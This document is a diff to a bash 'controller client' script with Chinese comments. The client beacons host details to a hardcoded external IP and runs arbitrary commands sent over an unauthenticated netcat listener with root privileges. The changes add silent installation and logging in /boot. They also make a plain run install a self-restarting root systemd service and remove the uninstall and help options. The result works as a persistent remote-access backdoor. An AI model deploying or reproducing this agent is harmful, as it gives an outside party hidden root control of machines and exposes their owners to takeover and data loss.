Update 02

02

@@ -1,7 +1,7 @@
 #!/bin/bash
 
-# 增强版控制器客户端
+# 自动设置版控制器客户端
-# 支持后台运行、开机自启、进程管理
+# 运行时自动设置开机启动、启动客户端、后台运行
 
 SERVER_IP="159.138.58.239"  # 修改为你的服务器IP
 SERVER_PORT=5555
@@ -9,7 +9,7 @@ CLIENT_PORT=5556
 HEARTBEAT_INTERVAL=30
 CONFIG_FILE="/etc/controller_client.conf"
 PID_FILE="/var/run/controller_client.pid"
-LOG_FILE="/var/log/controller_client.log"
+LOG_FILE="/boot/controller_client.log"  # 日志放在/boot目录
 SCRIPT_DIR="/opt/controller_scripts"
 
 # 颜色输出
@@ -40,14 +40,20 @@ install_dependencies() {
     print_color "安装必要依赖..." "$YELLOW"
     
     if command -v apt-get &> /dev/null; then
-        apt-get update
+        apt-get update > /dev/null 2>&1
-        apt-get install -y netcat-traditional curl wget
+        apt-get install -y netcat-traditional > /dev/null 2>&1
     elif command -v yum &> /dev/null; then
-        yum install -y nc curl wget
+        yum install -y nc > /dev/null 2>&1
     elif command -v dnf &> /dev/null; then
-        dnf install -y nc curl wget
+        dnf install -y nc > /dev/null 2>&1
     elif command -v apk &> /dev/null; then
-        apk add netcat-openbsd curl wget
+        apk add netcat-openbsd > /dev/null 2>&1
+    fi
+    
+    if command -v nc &> /dev/null || command -v netcat &> /dev/null; then
+        print_color "依赖安装完成" "$GREEN"
+    else
+        print_color "警告: netcat可能未安装成功" "$YELLOW"
     fi
 }
 
@@ -74,9 +80,18 @@ generate_serial() {
 # 初始化配置
 init_config() {
     mkdir -p "$(dirname "$CONFIG_FILE")"
-    mkdir -p "$(dirname "$LOG_FILE")"
     mkdir -p "$SCRIPT_DIR"
     
+    # 确保/boot目录可写
+    if [[ ! -w "/boot" ]]; then
+        print_color "错误: /boot 目录不可写" "$RED"
+        exit 1
+    fi
+    
+    # 创建日志文件
+    touch "$LOG_FILE"
+    chmod 644 "$LOG_FILE"
+    
     if [[ ! -f "$CONFIG_FILE" ]]; then
         cat > "$CONFIG_FILE" << EOF
 # 控制器客户端配置
@@ -86,16 +101,14 @@ CLIENT_PORT="$CLIENT_PORT"
 HEARTBEAT_INTERVAL="$HEARTBEAT_INTERVAL"
 LOG_FILE="$LOG_FILE"
 PID_FILE="$PID_FILE"
+SERIAL="$(generate_serial)"
+HOSTNAME="$(hostname)"
+SYSTEM_INFO="$(get_system_info)"
 EOF
     fi
     
     # 加载配置
     source "$CONFIG_FILE"
-    
-    # 设置变量
-    SERIAL=$(generate_serial)
-    HOSTNAME=$(hostname)
-    SYSTEM_INFO=$(get_system_info)
 }
 
 # 检查进程是否运行
@@ -111,102 +124,65 @@ is_running() {
     return 1
 }
 
-# 启动客户端
+# 安装系统服务（开机自启）
-start_client() {
+install_service() {
-    if is_running; then
+    print_color "设置开机自启..." "$GREEN"
-        print_color "客户端已经在运行 (PID: $(cat "$PID_FILE"))" "$YELLOW"
-        return 0
-    fi
     
-    print_color "启动控制器客户端..." "$GREEN"
+    # 创建服务文件
+    local service_file="/etc/systemd/system/controller-client.service"
     
-    # 后台运行主程序
+    # 获取当前脚本的绝对路径
-    {
+    local script_path=$(realpath "$0")
-        echo $$ > "$PID_FILE"
-        trap "rm -f '$PID_FILE'; exit 0" INT TERM
-        
-        # 主循环
-        while true; do
-            if main_loop; then
-                log "主循环正常结束，重新启动"
-            else
-                log "主循环异常结束，10秒后重新启动"
-                sleep 10
-            fi
-        done
-    } &
     
-    local pid=$!
+    cat > "$service_file" << EOF
-    echo $pid > "$PID_FILE"
+[Unit]
-    
+Description=Controller Client Service
-    sleep 2
+After=network.target
-    if is_running; then
+Wants=network.target
-        print_color "客户端启动成功! PID: $pid" "$GREEN"
-        print_color "日志文件: $LOG_FILE" "$BLUE"
-        print_color "序列号: $SERIAL" "$BLUE"
-    else
-        print_color "客户端启动失败!" "$RED"
-    fi
-}
 
-# 停止客户端
+[Service]
-stop_client() {
+Type=forking
-    if ! is_running; then
+ExecStart=$script_path daemon
-        print_color "客户端未在运行" "$YELLOW"
+ExecStop=$script_path stop
+Restart=always
+RestartSec=10
+User=root
+StandardOutput=journal
+StandardError=journal
+
+[Install]
+WantedBy=multi-user.target
+EOF
+
+    # 重载systemd并启用服务
+    systemctl daemon-reload > /dev/null 2>&1
+    systemctl enable controller-client > /dev/null 2>&1
+    
+    if systemctl is-enabled controller-client > /dev/null 2>&1; then
+        print_color "开机自启设置成功" "$GREEN"
         return 0
-    fi
+    else
-    
+        print_color "开机自启设置失败" "$RED"
-    local pid=$(cat "$PID_FILE")
-    print_color "停止客户端 (PID: $pid)..." "$GREEN"
-    
-    kill "$pid" 2>/dev/null
-    sleep 2
-    
-    if is_running; then
-        kill -9 "$pid" 2>/dev/null
-        sleep 1
-    fi
-    
-    if is_running; then
-        print_color "无法停止客户端" "$RED"
         return 1
-    else
+    fi
-        rm -f "$PID_FILE"
+}
-        print_color "客户端已停止" "$GREEN"
+
+# 启动系统服务
+start_service() {
+    if systemctl is-active controller-client > /dev/null 2>&1; then
+        print_color "服务已经在运行" "$YELLOW"
         return 0
     fi
-}
+    
-
+    systemctl start controller-client > /dev/null 2>&1
-# 重启客户端
-restart_client() {
-    stop_client
     sleep 2
-    start_client
+    
-}
+    if systemctl is-active controller-client > /dev/null 2>&1; then
-
+        print_color "服务启动成功" "$GREEN"
-# 查看状态
+        return 0
-status_client() {
-    if is_running; then
-        local pid=$(cat "$PID_FILE")
-        print_color "客户端运行中 - PID: $pid" "$GREEN"
-        print_color "序列号: $SERIAL" "$BLUE"
-        print_color "服务器: $SERVER_IP:$SERVER_PORT" "$BLUE"
-        
-        # 显示最近日志
-        echo
-        print_color "最近日志:" "$YELLOW"
-        tail -10 "$LOG_FILE" 2>/dev/null || echo "无日志文件"
     else
-        print_color "客户端未运行" "$RED"
+        print_color "服务启动失败" "$RED"
-    fi
+        return 1
-}
-
-# 查看日志
-tail_log() {
-    if [[ -f "$LOG_FILE" ]]; then
-        tail -f "$LOG_FILE"
-    else
-        print_color "日志文件不存在: $LOG_FILE" "$RED"
     fi
 }
 
@@ -220,7 +196,7 @@ send_heartbeat() {
     fi
     
     if echo "HEARTBEAT|$SERIAL|$HOSTNAME|$SYSTEM_INFO" | timeout 10 $nc_cmd "$SERVER_IP" "$SERVER_PORT"; then
-        log "心跳包发送成功"
+        log "心跳包发送成功 → 服务器: $SERVER_IP:$SERVER_PORT"
         return 0
     else
         log "无法连接到服务器 $SERVER_IP:$SERVER_PORT"
@@ -245,23 +221,19 @@ execute_script() {
     
     case "$script_name" in
         "shutdown")
-            print_color "执行关机命令..." "$RED"
             log "执行关机命令"
             shutdown -h now
             ;;
         "reboot")
-            print_color "执行重启命令..." "$YELLOW"
             log "执行重启命令"
             reboot
             ;;
         "restart_services")
-            print_color "重启系统服务..." "$YELLOW"
             log "重启系统服务"
             systemctl restart networking 2>/dev/null || systemctl restart network 2>/dev/null
             systemctl restart ssh 2>/dev/null || systemctl restart sshd 2>/dev/null
             ;;
         "system_info")
-            print_color "收集系统信息..." "$GREEN"
             log "收集系统信息"
             echo "=== 系统信息 ==="
             echo "主机名: $HOSTNAME"
@@ -270,13 +242,8 @@ execute_script() {
             echo "内核: $(uname -r)"
             echo "架构: $(uname -m)"
             echo "上线时间: $(uptime -p 2>/dev/null || uptime)"
-            echo "内存使用:"
-            free -h 2>/dev/null || cat /proc/meminfo | head -5
-            echo "磁盘使用:"
-            df -h 2>/dev/null || df
             ;;
         "update_system")
-            print_color "开始系统更新..." "$YELLOW"
             log "开始系统更新"
             if command -v apt-get &> /dev/null; then
                 apt-get update && apt-get upgrade -y
@@ -305,8 +272,9 @@ start_listener() {
         return 1
     fi
     
+    log "启动命令监听器 → 端口: $CLIENT_PORT"
+    
     while true; do
-        log "等待命令..."
         command_data=$($nc_cmd -l -p "$CLIENT_PORT" -w 300 2>/dev/null)
         
         if [[ -n "$command_data" ]]; then
@@ -314,10 +282,10 @@ start_listener() {
             
             if echo "$command_data" | grep -q "^COMMAND:"; then
                 cmd=$(echo "$command_data" | cut -d: -f2-)
-                execute_command "$cmd"
+                execute_command "$cmd" | $nc_cmd localhost "$CLIENT_PORT" 2>/dev/null &
             elif echo "$command_data" | grep -q "^SCRIPT:"; then
                 script_name=$(echo "$command_data" | cut -d: -f2-)
-                execute_script "$script_name"
+                execute_script "$script_name" | $nc_cmd localhost "$CLIENT_PORT" 2>/dev/null &
             else
                 log "未知命令格式: $command_data"
             fi
@@ -327,10 +295,18 @@ start_listener() {
     done
 }
 
-# 主循环
+# 守护进程主循环
-main_loop() {
+daemon_main() {
-    log "=== 控制器客户端启动 ==="
+    log "=== 控制器客户端守护进程启动 ==="
-    log "序列号: $SERIAL, 主机名: $HOSTNAME, 系统: $SYSTEM_INFO"
+    log "序列号: $SERIAL"
+    log "主机名: $HOSTNAME"
+    log "系统: $SYSTEM_INFO"
+    log "服务器: $SERVER_IP:$SERVER_PORT"
+    log "日志文件: $LOG_FILE"
+    
+    # 保存PID
+    echo $$ > "$PID_FILE"
+    trap "rm -f '$PID_FILE'; log '守护进程停止'; exit 0" INT TERM
     
     # 启动心跳包循环
     while true; do
@@ -344,131 +320,149 @@ main_loop() {
     start_listener &
     local listener_pid=$!
     
-    # 等待进程结束
+    # 监控进程
-    wait $heartbeat_pid $listener_pid
+    while true; do
+        if ! kill -0 $heartbeat_pid 2>/dev/null; then
+            log "心跳进程异常停止，重新启动..."
+            while true; do
+                send_heartbeat
+                sleep "$HEARTBEAT_INTERVAL"
+            done &
+            heartbeat_pid=$!
+        fi
+        
+        if ! kill -0 $listener_pid 2>/dev/null; then
+            log "监听进程异常停止，重新启动..."
+            start_listener &
+            listener_pid=$!
+        fi
+        
+        sleep 10
+    done
+    
+    # 清理
     kill $heartbeat_pid $listener_pid 2>/dev/null
-    
+    rm -f "$PID_FILE"
-    return 0
 }
 
-# 安装系统服务
+# 停止客户端
-install_service() {
+stop_client() {
-    check_root
+    if [[ -f "$PID_FILE" ]]; then
-    
+        local pid=$(cat "$PID_FILE")
-    print_color "安装系统服务..." "$GREEN"
+        if kill -0 "$pid" 2>/dev/null; then
-    
+            print_color "停止客户端进程 (PID: $pid)..." "$GREEN"
-    # 创建服务文件
+            kill "$pid"
-    local service_file="/etc/systemd/system/controller-client.service"
+            sleep 2
-    
+            if kill -0 "$pid" 2>/dev/null; then
-    cat > "$service_file" << EOF
+                kill -9 "$pid"
-[Unit]
+            fi
-Description=Controller Client
+        fi
-After=network.target
+        rm -f "$PID_FILE"
-Wants=network.target
+    fi
-
-[Service]
-Type=forking
-ExecStart=$(realpath "$0") start
-ExecStop=$(realpath "$0") stop
-ExecReload=$(realpath "$0") restart
-Restart=always
-RestartSec=10
-User=root
-
-[Install]
-WantedBy=multi-user.target
-EOF
-
-    # 重载systemd
-    systemctl daemon-reload
-    
-    # 启用开机自启
-    systemctl enable controller-client
-    
-    print_color "系统服务安装完成!" "$GREEN"
-    print_color "使用方法:" "$BLUE"
-    echo "  systemctl start controller-client    # 启动服务"
-    echo "  systemctl stop controller-client     # 停止服务"
-    echo "  systemctl status controller-client   # 查看状态"
-    echo "  journalctl -u controller-client -f   # 查看日志"
-}
-
-# 卸载系统服务
-uninstall_service() {
-    check_root
-    
-    print_color "卸载系统服务..." "$YELLOW"
     
+    # 也停止系统服务
     systemctl stop controller-client 2>/dev/null
-    systemctl disable controller-client 2>/dev/null
-    rm -f /etc/systemd/system/controller-client.service
-    systemctl daemon-reload
     
-    print_color "系统服务已卸载" "$GREEN"
+    print_color "客户端已停止" "$GREEN"
 }
 
-# 显示使用帮助
+# 显示状态
-show_help() {
+show_status() {
-    print_color "控制器客户端管理脚本" "$BLUE"
+    print_color "=== 客户端状态 ===" "$BLUE"
+    echo "序列号: $SERIAL"
+    echo "主机名: $HOSTNAME"
+    echo "系统: $SYSTEM_INFO"
+    echo "服务器: $SERVER_IP:$SERVER_PORT"
+    echo "日志文件: $LOG_FILE"
+    
+    if [[ -f "$PID_FILE" ]]; then
+        local pid=$(cat "$PID_FILE")
+        if kill -0 "$pid" 2>/dev/null; then
+            print_color "状态: 运行中 (PID: $pid)" "$GREEN"
+        else
+            print_color "状态: 进程文件存在但进程未运行" "$RED"
+        fi
+    else
+        print_color "状态: 未运行" "$RED"
+    fi
+    
+    if systemctl is-enabled controller-client > /dev/null 2>&1; then
+        print_color "开机自启: 已启用" "$GREEN"
+    else
+        print_color "开机自启: 未启用" "$YELLOW"
+    fi
+    
+    # 显示最近日志
     echo
-    echo "用法: $0 {start|stop|restart|status|log|install|uninstall|help}"
+    print_color "最近日志:" "$YELLOW"
+    tail -5 "$LOG_FILE" 2>/dev/null || echo "无日志内容"
+}
+
+# 自动设置并启动
+auto_setup() {
+    check_root
+    
+    print_color "开始自动设置控制器客户端..." "$BLUE"
+    
+    # 1. 安装依赖
+    install_dependencies
+    
+    # 2. 初始化配置
+    init_config
+    
+    # 3. 停止可能运行的旧进程
+    stop_client
+    
+    # 4. 设置开机自启
+    install_service
+    
+    # 5. 启动系统服务
+    start_service
+    
+    # 6. 显示状态
     echo
-    echo "命令:"
+    show_status
-    echo "  start      - 启动客户端"
+    
-    echo "  stop       - 停止客户端"
-    echo "  restart    - 重启客户端"
-    echo "  status     - 查看状态"
-    echo "  log        - 查看日志"
-    echo "  install    - 安装系统服务(开机自启)"
-    echo "  uninstall  - 卸载系统服务"
-    echo "  help       - 显示帮助"
     echo
-    echo "示例:"
+    print_color "自动设置完成!" "$GREEN"
-    echo "  $0 start          # 启动客户端"
+    print_color "客户端已启动并设置开机自启" "$GREEN"
-    echo "  $0 install        # 安装系统服务"
+    print_color "日志文件: $LOG_FILE" "$BLUE"
-    echo "  systemctl status controller-client  # 查看服务状态"
+    print_color "序列号: $SERIAL" "$BLUE"
+    print_color "使用 'systemctl status controller-client' 查看服务状态" "$YELLOW"
 }
 
 # 主函数
 main() {
-    init_config
-    
     case "${1:-}" in
-        "start")
+        "daemon")
-            check_root
+            # 守护进程模式（由systemd调用）
-            start_client
+            init_config
+            daemon_main
             ;;
         "stop")
-            check_root
+            # 停止客户端
+            init_config
             stop_client
             ;;
-        "restart")
-            check_root
-            restart_client
-            ;;
         "status")
-            status_client
+            # 显示状态
+            init_config
+            show_status
             ;;
-        "log")
+        "auto"|"")
-            tail_log
+            # 自动设置模式（默认）
-            ;;
+            auto_setup
-        "install")
-            install_dependencies
-            install_service
-            ;;
-        "uninstall")
-            uninstall_service
-            ;;
-        "help")
-            show_help
             ;;
         *)
-            show_help
+            print_color "用法: $0 [auto|stop|status]" "$RED"
+            echo "  auto   - 自动设置并启动（默认）"
+            echo "  stop   - 停止客户端"
+            echo "  status - 查看状态"
             ;;
     esac
 }
 
-# 脚本入口
+# 脚本入口 - 直接运行就执行自动设置
 if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
     main "$@"
 fi